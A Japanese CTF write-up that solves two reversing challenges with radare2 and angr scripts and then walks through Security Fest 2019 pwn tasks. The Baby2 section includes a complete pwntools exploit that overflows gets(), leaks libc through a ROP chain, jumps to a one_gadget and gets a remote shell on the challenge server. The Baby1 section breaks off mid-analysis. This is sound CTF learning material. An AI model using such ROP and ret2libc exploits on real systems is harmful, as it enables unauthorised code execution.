[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Enable constraint types analysis for variables
[0x00400500]> afl
0x00400498    3 23           sym._init
0x004004c0    1 6            sym.imp.puts
0x004004d0    1 6            sym.imp.strlen
0x004004e0    1 6            sym.imp.__stack_chk_fail
0x004004f0    1 6            sym.imp.printf
0x00400500    1 42           entry0
0x00400530    1 2            sym._dl_relocate_static_pie
0x00400540    4 42   -> 37   sym.deregister_tm_clones
0x00400570    4 58   -> 55   sym.register_tm_clones
0x004005b0    3 34   -> 29   entry.fini0
0x004005e0    1 7            entry.init0
0x004005e7    9 121          sym.is_correct
0x00400660    7 111          main
0x004006d0    5 1258         sym.convert
0x00400bc0    3 101  -> 92   sym.__libc_csu_init
0x00400c30    1 2            sym.__libc_csu_fini
0x00400c34    1 9            sym._fini

まずはmain関数から

[0x00400500]> s main
[0x00400660]> pdf
/ (fcn) main 111
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_10h @ rbp-0x10
|           ; var int32_t var_4h @ rbp-0x4
|           ; arg int argc @ rdi
|           ; arg char **argv @ rsi
|           ; DATA XREF from entry0 (0x40051d)
|           0x00400660      55             push rbp
|           0x00400661      4889e5         mov rbp, rsp
|           0x00400664      4883ec10       sub rsp, 0x10
|           0x00400668      897dfc         mov dword [var_4h], edi     ; argc
|           0x0040066b      488975f0       mov qword [var_10h], rsi    ; argv
|           0x0040066f      837dfc01       cmp dword [var_4h], 1
|       ,=< 0x00400673      7f22           jg 0x400697
|       |   0x00400675      488b45f0       mov rax, qword [var_10h]
|       |   0x00400679      488b00         mov rax, qword [rax]
|       |   0x0040067c      4889c6         mov rsi, rax
|       |   0x0040067f      488d3dfd0500.  lea rdi, str.usage:__s_flag ; 0x400c83 ; "usage: %s flag\n"
|       |   0x00400686      b800000000     mov eax, 0
|       |   0x0040068b      e860feffff     call sym.imp.printf         ; int printf(const char *format)
|       |   0x00400690      b801000000     mov eax, 1
|      ,==< 0x00400695      eb36           jmp 0x4006cd
|      ||   ; CODE XREF from main (0x400673)
|      |`-> 0x00400697      488b45f0       mov rax, qword [var_10h]
|      |    0x0040069b      4883c008       add rax, 8
|      |    0x0040069f      488b00         mov rax, qword [rax]
|      |    0x004006a2      4889c7         mov rdi, rax
|      |    0x004006a5      e83dffffff     call sym.is_correct
|      |    0x004006aa      85c0           test eax, eax
|      |,=< 0x004006ac      740e           je 0x4006bc
|      ||   0x004006ae      488d3dde0500.  lea rdi, str.correct        ; 0x400c93 ; "correct"
|      ||   0x004006b5      e806feffff     call sym.imp.puts           ; int puts(const char *s)
|     ,===< 0x004006ba      eb0c           jmp 0x4006c8
|     |||   ; CODE XREF from main (0x4006ac)
|     ||`-> 0x004006bc      488d3dd80500.  lea rdi, str.wrong          ; 0x400c9b ; "wrong"
|     ||    0x004006c3      e8f8fdffff     call sym.imp.puts           ; int puts(const char *s)
|     ||    ; CODE XREF from main (0x4006ba)
|     `---> 0x004006c8      b800000000     mov eax, 0
|      |    ; CODE XREF from main (0x400695)
|      `--> 0x004006cd      c9             leave
\           0x004006ce      c3             ret

is_correctで比較している

正しい場合

|      ||   0x004006ae      488d3dde0500.  lea rdi, str.correct        ; 0x400c93 ; "correct"
|      ||   0x004006b5      e806feffff     call sym.imp.puts           ; int puts(const char *s)

違った場合

|     ||`-> 0x004006bc      488d3dd80500.  lea rdi, str.wrong          ; 0x400c9b ; "wrong"
|     ||    0x004006c3      e8f8fdffff     call sym.imp.puts           ; int puts(const char *s)

correctとwrongがあればangrさんにとりあえず投げて見るかなって思って投げたらFLAG取れた

参考にしました。 angr-doc/solve.py at master · angr/angr-doc · GitHub

#!/usr/bin/env python
'''
@author Kyle Ossinger (k0ss_sec)
@desc   Tutorial solver for an example program.  I noticed most of the angr
        examples were for solving for a password/flag rather than for finding
        exploitable memory corruptions.  I hope this will lead you on the path
        to finding your own memory corruptions.  Enjoy!

'''python
import angr
import claripy  # It is optimal to use claripy.BVV/BVS over state.solver.BVV/BVS
                # EDITOR'S NOTE: this is somewhat true but it super super does
                # not matter if you're just creating a few variables for
                # initialization. do what's convenient. state.solver.BVS will
                # trigger some instrumentation if people have asked to be
                # notified whenever new variables are created, which doesn't
                # usually happen.

def main():
    '''
     Just a helper function to grab function names from resolved symbols.
     This will not be so easy if the binary is stripped.  You will have to
     open the binary in a disassembler and find the addresses of the
     functions you are trying to find/avoid in your paths rather than using
     this helper function.
    '''
    def getFuncAddress( funcName, plt=None ):
        found = [
            addr for addr,func in cfg.kb.functions.items()
            if funcName == func.name and (plt is None or func.is_plt == plt)
            ]
        if len( found ) > 0:
            print("Found "+funcName+"'s address at "+hex(found[0])+"!")
            return found[0]
        else:
            raise Exception("No address found for function : "+funcName)


    def get_byte(s, i):
        pos = s.size() // 8 - 1 - i
        return s[pos * 8 + 7 : pos * 8]

    '''
     load the binary, don't load extra libs to save time/memory from state explosion
    '''
    project = angr.Project("leakage", load_options={'auto_load_libs':False})
    '''
     Set up CFG so we can grab function addresses from symbols.
     I set the fail_fast option to True to minimize how long
     this process takes.
    '''
    cfg = project.analyses.CFG(fail_fast=True)
    '''
     Get addresses of our functions to find or avoid
    '''
#    addrStrcpy = getFuncAddress('strcpy', plt=True)
#    addrBadFunc = getFuncAddress('func3')
    '''
     Create the list of command-line arguments and add the program name
    '''
    argv = [project.filename]   #argv[0]
    '''
     Add symbolic variable for the password buffer which we are solving for:
    '''
    sym_arg_size = 40   #max number of bytes we'll try to solve for
    '''
     We use 8 * sym_arg_size because the size argument is in BITS, not bytes
    '''
    sym_arg = claripy.BVS('sym_arg', 8*sym_arg_size)
    argv.append(sym_arg)    #argv[1]

    '''
     Add the buffer we will copy in if the password is correct
     When we find a path to strcpy, we will check to make sure
     that this is the value that is being copied!
    '''
    argv.append("HAHAHAHA") # argv[2]

    '''
     Initializes an entry state starting at the address of the program entry point
     We simply pass it the same kind of argument vector that would be passed to the
     program, in execv() for example.
    '''
    state = project.factory.entry_state(args=argv)

    '''
     Create a new SimulationManager from the entry state
    '''
    sm = project.factory.simulation_manager(state)

    '''
     Since we want to find a path to strcpy ONLY where we have control of the
     source buffer, we have to have a custom check function which takes a Path
     as an argument.

     You might be wondering what we should do to instruct angr to find our
     target address since we're replacing the 'find=' argument with this
     'check' function.  Just check p.state.ip.args[0] (the current instruction
     pointer) to make sure we're at our intended path destination before checking
     to make sure the other conditions are satisfied.
    '''
    def check(state):
        if (state.ip.args[0] == addrStrcpy):    # Ensure that we're at strcpy
            '''
             By looking at the disassembly, I've found that the pointer to the
             source buffer given to strcpy() is kept in RSI.  Here, we dereference
             the pointer in RSI and grab 8 bytes (len("HAHAHAHA")) from that buffer.
            '''
            BV_strCpySrc = state.memory.load( state.regs.rsi, len(argv[2]) )
            '''
             Now that we have the contents of the source buffer in the form of a bit
             vector, we grab its string representation using the current state's
             solver engine's function "eval" with cast_to set to str so we get a python string.
            '''
            strCpySrc = state.solver.eval( BV_strCpySrc , cast_to=bytes )
            '''
             Now we simply return True (found path) if we've found a path to strcpy
             where we control the source buffer, or False (keep looking for paths) if we
             don't control the source buffer
            '''
            return True if argv[2].encode() in strCpySrc else False
        else:
            '''
             If we aren't in the strcpy function, we need to tell angr to keep looking
             for new paths.
            '''
            return False
    '''
     Call the function at the entry_state and find a path that satisfies
     the check function.  If you specify a tuple/list/set for find or avoid,
     it translates to an address to find/avoid.  If you just give a function
     it will pass a Path to the function and check to see if the function returns
     True or False and proceed accordingly.

     Here, we tell the explore function to find a path that satisfies our check
     method and avoids any paths that end up in addrBadFunc ('func3')
    '''
    sm = sm.explore(find=0x004006ae, avoid=0x004006bc)

    found = sm.found
    '''
     Retrieve a concrete value for the password value from the found path.
     If you put this password in the program's first argument, you should be
     able to strcpy() any string you want into the destination buffer and
     cause a segmentation fault if it is too large :)
    '''
    if len(found) > 0:    #   Make sure we found a path before giving the solution
        found = sm.found[0]
        result = found.solver.eval(argv[1], cast_to=bytes)
        try:
            result = result[:result.index(b'\0')]
        except ValueError:
            pass
    else:   # Aww somehow we didn't find a path.  Time to work on that check() function!
        result = "Couldn't find any paths which satisfied our conditions."
    return result

def test():
    output = main()
    target = b"Totally not the password..."
    assert output[:len(target)] == target

if __name__ == "__main__":
    print('The password is "%s"' % main())

実行結果

$ python solve.py 
WARNING | 2019-05-25 05:27:35,822 | angr.analyses.disassembly_utils | Your version of capstone does not support MIPS instruction groups.
ERROR   | 2019-05-25 05:27:36,149 | angr.analyses.cfg.cfg_fast | Decoding error occurred at basic block address 0x40052c of function 0x40052c.
The password is "ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}"

FLAG : ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}

Linear Operation

$ file linear_operation 
linear_operation: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=dd95ed8682c3918a875318a938c280741ebd0e65, not stripped

$ ./linear_operation
input flag : a
wrong

今度はscanfで入力するタイプ

r2 linear_operation
 -- Finnished a beer
[0x00400520]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Enable constraint types analysis for variables
[0x00400520]> afl
0x004004b8    3 23           sym._init
0x004004e0    1 6            sym.imp.puts
0x004004f0    1 6            sym.imp.__stack_chk_fail
0x00400500    1 6            sym.imp.printf
0x00400510    1 6            sym.imp.__isoc99_scanf
0x00400520    1 42           entry0
0x00400550    1 2            sym._dl_relocate_static_pie
0x00400560    4 42   -> 37   sym.deregister_tm_clones
0x00400590    4 58   -> 55   sym.register_tm_clones
0x004005d0    3 34   -> 29   entry.fini0
0x00400600    1 7            entry.init0
0x00400607  129 51418 -> 19749 sym.is_correct
0x0040cee1    6 204          main
0x0040cfb0    3 101  -> 92   sym.__libc_csu_init
0x0040d020    1 2            sym.__libc_csu_fini
0x0040d024    1 9            sym._fini
[0x00400520]> pdf
            ;-- section..text:
            ;-- .text:
            ;-- _start:
            ;-- rip:
/ (fcn) entry0 42
|   entry0 (int32_t arg3);
|           ; arg int32_t arg3 @ rdx
|           0x00400520      31ed           xor ebp, ebp                ; [13] -r-x section size 51970 named .text
|           0x00400522      4989d1         mov r9, rdx                 ; arg3
|           0x00400525      5e             pop rsi
|           0x00400526      4889e2         mov rdx, rsp
|           0x00400529      4883e4f0       and rsp, 0xfffffffffffffff0
|           0x0040052d      50             push rax
|           0x0040052e      54             push rsp
|           0x0040052f      49c7c020d040.  mov r8, sym.__libc_csu_fini ; 0x40d020
|           0x00400536      48c7c1b0cf40.  mov rcx, sym.__libc_csu_init ; 0x40cfb0 ; "AWAVI\x89\xd7AUATL\x8d%N\x0e "
|           0x0040053d      48c7c7e1ce40.  mov rdi, main               ; sym.main ; 0x40cee1
\           0x00400544      ff15a6da2000   call qword [reloc.__libc_start_main] ; sym..got ; [0x60dff0:8]=0
[0x00400520]> s main
[0x0040cee1]> pdf
/ (fcn) main 204
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_60h @ rbp-0x60
|           ; var int32_t var_54h @ rbp-0x54
|           ; var int32_t var_50h @ rbp-0x50
|           ; var int32_t var_48h @ rbp-0x48
|           ; var int32_t var_40h @ rbp-0x40
|           ; var int32_t var_38h @ rbp-0x38
|           ; var int32_t var_30h @ rbp-0x30
|           ; var int32_t var_28h @ rbp-0x28
|           ; var int32_t var_20h @ rbp-0x20
|           ; var int32_t var_18h @ rbp-0x18
|           ; var int32_t var_8h @ rbp-0x8
|           ; arg int argc @ rdi
|           ; arg char **argv @ rsi
|           ; DATA XREF from entry0 (0x40053d)
|           0x0040cee1      55             push rbp
|           0x0040cee2      4889e5         mov rbp, rsp
|           0x0040cee5      4883ec60       sub rsp, 0x60               ; '`'
|           0x0040cee9      897dac         mov dword [var_54h], edi    ; argc
|           0x0040ceec      488975a0       mov qword [var_60h], rsi    ; argv
|           0x0040cef0      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x0040cef9      488945f8       mov qword [var_8h], rax
|           0x0040cefd      31c0           xor eax, eax
|           0x0040ceff      48c745b00000.  mov qword [var_50h], 0
|           0x0040cf07      48c745b80000.  mov qword [var_48h], 0
|           0x0040cf0f      48c745c00000.  mov qword [var_40h], 0
|           0x0040cf17      48c745c80000.  mov qword [var_38h], 0
|           0x0040cf1f      48c745d00000.  mov qword [var_30h], 0
|           0x0040cf27      48c745d80000.  mov qword [var_28h], 0
|           0x0040cf2f      48c745e00000.  mov qword [var_20h], 0
|           0x0040cf37      48c745e80000.  mov qword [var_18h], 0
|           0x0040cf3f      488d3dee0000.  lea rdi, str.input_flag_:   ; 0x40d034 ; "input flag : "
|           0x0040cf46      b800000000     mov eax, 0
|           0x0040cf4b      e8b035ffff     call sym.imp.printf         ; int printf(const char *format)
|           0x0040cf50      488d45b0       lea rax, [var_50h]
|           0x0040cf54      4889c6         mov rsi, rax
|           0x0040cf57      488d3de40000.  lea rdi, str.63s            ; 0x40d042 ; "%63s"
|           0x0040cf5e      b800000000     mov eax, 0
|           0x0040cf63      e8a835ffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)
|           0x0040cf68      488d45b0       lea rax, [var_50h]
|           0x0040cf6c      4889c7         mov rdi, rax
|           0x0040cf6f      e89336ffff     call sym.is_correct
|           0x0040cf74      85c0           test eax, eax
|       ,=< 0x0040cf76      740e           je 0x40cf86
|       |   0x0040cf78      488d3dc80000.  lea rdi, str.correct        ; 0x40d047 ; "correct"
|       |   0x0040cf7f      e85c35ffff     call sym.imp.puts           ; int puts(const char *s)
|      ,==< 0x0040cf84      eb0c           jmp 0x40cf92
|      ||   ; CODE XREF from main (0x40cf76)
|      |`-> 0x0040cf86      488d3dc20000.  lea rdi, str.wrong          ; 0x40d04f ; "wrong"
|      |    0x0040cf8d      e84e35ffff     call sym.imp.puts           ; int puts(const char *s)
|      |    ; CODE XREF from main (0x40cf84)
|      `--> 0x0040cf92      b800000000     mov eax, 0
|           0x0040cf97      488b55f8       mov rdx, qword [var_8h]
|           0x0040cf9b      644833142528.  xor rdx, qword fs:[0x28]
|       ,=< 0x0040cfa4      7405           je 0x40cfab
|       |   0x0040cfa6      e84535ffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |   ; CODE XREF from main (0x40cfa4)
|       `-> 0x0040cfab      c9             leave
\           0x0040cfac      c3             ret

これもcorrectとwrongがあるのでangrさんに投げる

import angr

binary = './linear_operation'
p = angr.Project(binary)

a = p.surveyors.Explorer(find = 0x0040cf78, avoid = 0x0040cf86).run()

if len(a.found) > 0:
    print 'Dump stdin at succeeded():'
    s = a.found[0].state
    print "%r" % s.posix.dumps(0)

実行結果

$ python solve.py
WARNING | 2019-05-25 02:59:13,314 | angr.analyses.disassembly_utils | Your version of capstone does not support MIPS instruction groups.
Dump stdin at succeeded():
'ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}'

FLAG : ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}

Security Fest 2019 Pwn Baby2

Baby2

When Swordfish came out, these were considered some state of the art techniques. Let's see if you have what it takes.
settings Service: nc baby-01.pwn.beer 10002
cloud_download Download: baby2.tar.gz

baby2.tar.gz を解凍するとbaby2とlibc.so.6が与えられる。 libcが与えられるってことはまずret2libcが考えられる。

# file baby2
baby2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=de94527085e45236153069216540df9710dace06, not stripped

f:id:Yunolay:20190524205528p:plain

radare2で解析する。

 r2 baby2
 -- Wait a moment ...
[0x004005a0]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Enable constraint types analysis for variables
[0x004005a0]> afl
0x00400520    3 23           sym._init
0x00400550    1 6            sym.imp.puts
0x00400560    1 6            sym.imp.printf
0x00400570    1 6            sym.imp.alarm
0x00400580    1 6            sym.imp.gets
0x00400590    1 6            sym.imp.setvbuf
0x004005a0    1 42           entry0
0x004005d0    1 2            sym._dl_relocate_static_pie
0x004005e0    4 42   -> 37   sym.deregister_tm_clones
0x00400610    4 58   -> 55   sym.register_tm_clones
0x00400650    3 34   -> 29   entry.fini0
0x00400680    1 7            entry.init0
0x00400687    1 17           sym.banner
0x00400698    1 127          main
0x00400720    3 101  -> 92   sym.__libc_csu_init
0x00400790    1 2            sym.__libc_csu_fini
0x00400794    1 9            sym._fini

baby1と違ってsym.winがない。

[0x004005a0]> s main
[0x00400698]> pdf
/ (fcn) main 127
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_10h @ rbp-0x10
|           ; DATA XREF from entry0 (0x4005bd)
|           0x00400698      55             push rbp
|           0x00400699      4889e5         mov rbp, rsp
|           0x0040069c      4883ec10       sub rsp, 0x10
|           0x004006a0      488b05791920.  mov rax, qword [obj.stdin]  ; obj.stdin__GLIBC_2.2.5 ; [0x602020:8]=0
|           0x004006a7      b900000000     mov ecx, 0
|           0x004006ac      ba02000000     mov edx, 2
|           0x004006b1      be00000000     mov esi, 0
|           0x004006b6      4889c7         mov rdi, rax
|           0x004006b9      e8d2feffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
|           0x004006be      488b054b1920.  mov rax, qword [obj.stdout] ; obj.__TMC_END ; [0x602010:8]=0
|           0x004006c5      b900000000     mov ecx, 0
|           0x004006ca      ba02000000     mov edx, 2
|           0x004006cf      be00000000     mov esi, 0
|           0x004006d4      4889c7         mov rdi, rax
|           0x004006d7      e8b4feffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
|           0x004006dc      bf3c000000     mov edi, 0x3c               ; '<' ; 60
|           0x004006e1      e88afeffff     call sym.imp.alarm
|           0x004006e6      b800000000     mov eax, 0
|           0x004006eb      e897ffffff     call sym.banner
|           0x004006f0      bfc0104000     mov edi, str.input:         ; 0x4010c0 ; "input: "
|           0x004006f5      b800000000     mov eax, 0
|           0x004006fa      e861feffff     call sym.imp.printf         ; int printf(const char *format)
|           0x004006ff      488d45f0       lea rax, [var_10h]
|           0x00400703      4889c7         mov rdi, rax
|           0x00400706      b800000000     mov eax, 0
|           0x0040070b      e870feffff     call sym.imp.gets           ; char *gets(char *s)
|           0x00400710      b800000000     mov eax, 0
|           0x00400715      c9             leave
\           0x00400716      c3             ret

baby1と変わらずgets()を使用しているのでBOFが可能である。

|           0x0040070b      e870feffff     call sym.imp.gets           ; char *gets(char *s)

方針としてはputs()を使用しているのでputs()を使用してgotをリークしてlibc_baseを計算する。 まずはarg1に引数を与えるためにpop rdi; ret;ガジェットを探す。

rp --file=baby2 --unique --rop=5

(snip)

0x00400783: pop rdi ; ret  ;  (1 found)

(snip)

return addressまでのoffset

input: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH

Program received signal SIGSEGV, Segmentation fault.

RSP: 0x7fffffffdd98 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH")


gdb-peda$ pattern offset (AADAA;AA)AAEAAaA
(AADAA;AA)AAEAAaA found at offset: 24

まずはgot.putsをリークしてmain()に戻す。

puts(*got.puts)

----------------
pop rdi ; ret  ;
----------------
got.puts
----------------
got.plt
----------------

main()

----------------
main
----------------

次にリークしたgot.puts()からlibc_baseを計算する。

libc_base = puts - offset_puts
libc_system = libc_base + offset_system
libc_bin_sh = libc_base + offset_str_bin_sh

前のROPでmain()に戻っているので次は計算したアドレスからlibcのsystem(/bin/sh)を呼び出す。

----------------
pop rdi ; ret  ;
----------------
libc_bin_sh
----------------
libc_system
----------------

と、思ったらローカルではシェルが取れてたけどリモートではシェルが取れなかったので方針を変更してone gadgetを利用することにした。

$ one_gadget libc.so.6 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

libc_baseのアドレスはわかっているのであとはone gadgetに飛ばすだけ。

payload += pack(libc_base + 0x4f2c5)

最終敵なexploitコードは以下の通り

from pwn import *

def send_payload(payload):
    log.info("payload = %s" % repr(payload))
    r.send(payload)
    return

def sendline_payload(payload):
    log.info("payload = %s" % repr(payload))
    r.sendline(payload)
    return

def print_address(s, addr):
    log.info(s + ' : ' + hex(addr))
    return

binary = './baby2'
host ='baby-01.pwn.beer'
port = 10002

elf = ELF(binary)
context.binary = binary
# context.log_level = 'debug'

REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'
if REMOTE:
    # remote
    r = remote(host, port)
    libc = ELF('./libc.so.6')
else:
    # local
    r = process(binary)
    libc = elf.libc

# ELF

addr_plt_puts = elf.plt['puts']
addr_got_puts = elf.got['puts']
addr_plt_gets = elf.plt['gets']
addr_got_gets = elf.got['gets']
addr_symbols_main = elf.symbols['main']

# libc

offset_system = libc.symbols['system']
offset_str_bin_sh = next(libc.search('/bin/sh\x00'))
offset_puts = libc.symbols['puts']

'''
Gadget
rp --file=binary --unique --rop=5
0x00400783: pop rdi ; ret  ;  (1 found)
'''

r.recvuntil('input: ')

payload = ''
payload += 'A' * 24

rop = ROP(elf)
rop.raw(0x00400783) # pop rdi ; ret
rop.raw(addr_got_puts)
rop.raw(addr_plt_puts)
rop.raw(addr_symbols_main)

print rop.dump()
payload += rop.chain()

sendline_payload(payload)

leak = r.recvline(False)[:8]
leak += '\x00' * (8 - len(leak))
puts = u64(leak)

print_address('puts', puts)

libc_base = puts - offset_puts
libc_system = libc_base + offset_system
libc_bin_sh = libc_base + offset_str_bin_sh

r.recvuntil('input: ')

payload = ''
payload += 'A' * 24

payload += pack(libc_base + 0x4f2c5)

sendline_payload(payload)
r.interactive()
~/Desktop/CTF/SecurityFest 2019/Pwn/Baby2 ᐅ python exploit.py r
[*] '/home/user/Desktop/CTF/SecurityFest 2019/Pwn/Baby2/baby2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to baby-01.pwn.beer on port 10002: Done
[*] '/home/user/Desktop/CTF/SecurityFest 2019/Pwn/Baby2/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './baby2'
0x0000:         0x400783 pop rdi; ret
0x0008:         0x601fc8 got.puts
0x0010:         0x40054c puts
0x0018:         0x400698 main
[*] payload = 'AAAAAAAAAAAAAAAAAAAAAAAA\x83\x07@\x00\x00\x00\x00\x00\xc8\x1f`\x00\x00\x00\x00\x00L\x05@\x00\x00\x00\x00\x00\x98\x06@\x00\x00\x00\x00\x00'
[*] puts : 0x7fe52c69e9c0
[*] payload = 'AAAAAAAAAAAAAAAAAAAAAAAA\xc5\xd2f,\xe5\x7f\x00\x00'
[*] Switching to interactive mode
$ ls
baby2
flag
redir.sh
$ cat flag
sctf{An0tH3r_S1lLy_L1Ttl3_R0P}

FLAG : sctf{An0tH3r_S1lLy_L1Ttl3_R0P}

Security Fest 2019 Pwn Baby1

Baby1

When Swordfish came out, these were considered some state of the art techniques. Let's see if you have what it takes.
settings Service: nc baby-01.pwn.beer 10001
cloud_download Download: baby1.tar.gz

baby1.tar.gzを解凍するとbaby1が与えられる。

$ file baby1
baby1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=1b9a2f62696e2f736800229822a655f2c80d159a, not stripped

f:id:Yunolay:20190524185147p:plain

radare2で解析する。

r2 baby1
 -- I love gradients.
[0x004005a0]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Enable constraint types analysis for variables
[0x004005a0]> afl
0x00400056    1 323          fcn.00400056
0x00400528    3 23           sym._init
0x00400550    1 6            sym.imp.puts
0x00400560    1 6            sym.imp.system
0x00400570    1 6            sym.imp.printf
0x00400580    1 6            sym.imp.gets
0x00400590    1 6            sym.imp.setvbuf
0x004005a0    1 42           entry0
0x004005d0    1 2            sym._dl_relocate_static_pie
0x004005e0    4 42   -> 37   sym.deregister_tm_clones
0x00400610    4 58   -> 55   sym.register_tm_clones
0x00400650    3 34   -> 29   entry.fini0
0x00400680    1 7            entry.init0
0x00400687    1 17           sym.banner
0x00400698    1 27           sym.win
0x004006b3    1 117          main
0x00400730    3 101  -> 92   sym.__libc_csu_init
0x004007a0    1 2            sym.__libc_csu_fini
0x004007a4    1 9            sym._fini
[0x00400698]> s main
[0x004006b3]> pdf
/ (fcn) main 117
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_10h @ rbp-0x10
|           ; DATA XREF from entry0 (0x4005bd)
|           0x004006b3      55             push rbp
|           0x004006b4      4889e5         mov rbp, rsp
|           0x004006b7      4883ec10       sub rsp, 0x10
|           0x004006bb      488b055e1920.  mov rax, qword [obj.stdin]  ; obj.stdin__GLIBC_2.2.5 ; [0x602020:8]=0
|           0x004006c2      b900000000     mov ecx, 0
|           0x004006c7      ba02000000     mov edx, 2
|           0x004006cc      be00000000     mov esi, 0
|           0x004006d1      4889c7         mov rdi, rax
|           0x004006d4      e8b7feffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
|           0x004006d9      488b05301920.  mov rax, qword [obj.stdout] ; obj.__TMC_END ; [0x602010:8]=0
|           0x004006e0      b900000000     mov ecx, 0
|           0x004006e5      ba02000000     mov edx, 2
|           0x004006ea      be00000000     mov esi, 0
|           0x004006ef      4889c7         mov rdi, rax
|           0x004006f2      e899feffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
|           0x004006f7      b800000000     mov eax, 0
|           0x004006fc      e886ffffff     call sym.banner
|           0x00400701      bfc4104000     mov edi, str.input:         ; 0x4010c4 ; "input: "
|           0x00400706      b800000000     mov eax, 0
|           0x0040070b      e860feffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00400710      488d45f0       lea rax, [var_10h]
|           0x00400714      4889c7         mov rdi, rax
|           0x00400717      b800000000     mov eax, 0
|           0x0040071c      e85ffeffff     call sym.imp.gets           ; char *gets(char *s)
|           0x00400721      b800000000     mov eax, 0
|           0x00400726      c9             leave
\           0x00400727      c3             ret

getsを使用しているのでバッファオーバーフローが可能

|           0x0040071c      e85ffeffff     call sym.imp.gets           ; char *gets(char *s)

return addressまでのoffset

input: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH

RSP: 0x7fffffffdd98 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH")
RIP: 0x400727 (<main+116>:    ret)

gdb-peda$ pattern offset (AADAA
(AADAA found at offset: 24

win functionでは引数を使用してsystem()を呼んでいる。

[0x004005a0]> s sym.win 
[0x00400698]> pdf
/ (fcn) sym.win 27
|   sym.win (int32_t arg1);
|           ; var int32_t var_8h @ rbp-0x8
|           ; arg int32_t arg1 @ rdi
|           0x00400698      55             push rbp
|           0x00400699      4889e5         mov rbp, rsp
|           0x0040069c      4883ec10       sub rsp, 0x10
|           0x004006a0      48897df8       mov qword [var_8h], rdi     ; arg1
|           0x004006a4      488b45f8       mov rax, qword [var_8h]
|           0x004006a8      4889c7         mov rdi, rax
|           0x004006ab      e8b0feffff     call sym.imp.system         ; int system(const char *string)
|           0x004006b0      90             nop
|           0x004006b1      c9             leave
\           0x004006b2      c3             ret

/bin/sh\00はgets()を使用してbssに書き込むことにした。

$ readelf -a baby1

(snip)

  [23] .bss              NOBITS           0000000000602010  00002010
       0000000000000020  0000000000000000  WA       0     0     16

(snip)

gets()とsystem()にarg1に引数を与えるため、pop rdi; ret;ガジェットを探す。

$ rp --file=baby1 --unique --rop=5 | grep pop
0x0040068e: add al, bpl ; mov ebx, 0x90FFFFFE ; pop rbp ; ret  ;  (1 found)
0x0040068f: add al, ch ; mov ebx, 0x90FFFFFE ; pop rbp ; ret  ;  (1 found)
0x00400606: add byte [rax], al ; pop rbp ; ret  ;  (1 found)
0x00400605: add byte [rax], r8L ; pop rbp ; ret  ;  (1 found)
0x00400667: add byte [rcx], al ; pop rbp ; ret  ;  (1 found)
0x0040068a: in eax, 0xBF ; mov eax, 0xE8004007 ; mov ebx, 0x90FFFFFE ; pop rbp ; ret  ;  (1 found)
0x00400662: mov byte [0x0000000000602028], 0x00000001 ; pop rbp ; ret  ;  (1 found)
0x0040068c: mov eax, 0xE8004007 ; mov ebx, 0x90FFFFFE ; pop rbp ; ret  ;  (1 found)
0x00400691: mov ebx, 0x90FFFFFE ; pop rbp ; ret  ;  (1 found)
0x00400664: mov edi, 0x01002019 ; pop rbp ; ret  ;  (1 found)
0x00400695: nop  ; pop rbp ; ret  ;  (1 found)
0x00400603: nop dword [rax+rax+0x00] ; pop rbp ; ret  ;  (1 found)
0x00400645: nop dword [rax] ; pop rbp ; ret  ;  (1 found)
0x00400789: or byte [rbx+0x5D], bl ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
0x0040078c: pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
0x0040078e: pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
